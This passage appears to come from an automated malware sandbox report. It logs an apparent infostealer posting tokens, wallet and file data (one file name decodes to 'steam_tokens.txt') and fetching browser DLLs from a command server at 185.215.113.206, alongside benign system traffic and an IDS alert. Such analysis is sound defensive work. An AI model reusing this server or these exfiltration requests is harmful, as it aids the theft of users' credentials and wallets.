0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="file"------CFCBFHJECAKEHIECGIEB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJHost: 185.215.113.206Content-Length: 8163Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file"------IJECAEHJJJKJKFIDGCBG--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBGHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="message"wallets------KFBGDBFBKKJECBFHDGIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="message"files------IIIJECAEGDHIDHJKKKKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="file"------CAKFIJDHJEGIDHJKKKJJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="message"ybncbhylepme------BGIJEGCGDGHDHIDHDGCB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIIEHJKKECGCBFIIJDA--

Source: Joe Sandbox View	IP Address: 52.153.155.231 52.153.155.231
Source: Joe Sandbox View	IP Address: 23.198.7.181 23.198.7.181
Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49962 -> 185.215.113.206:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50020 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71CC60 PR_Recv,

0_2_6C71CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fpeLn3HEklfNRGL&MD=7a5MYNfU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
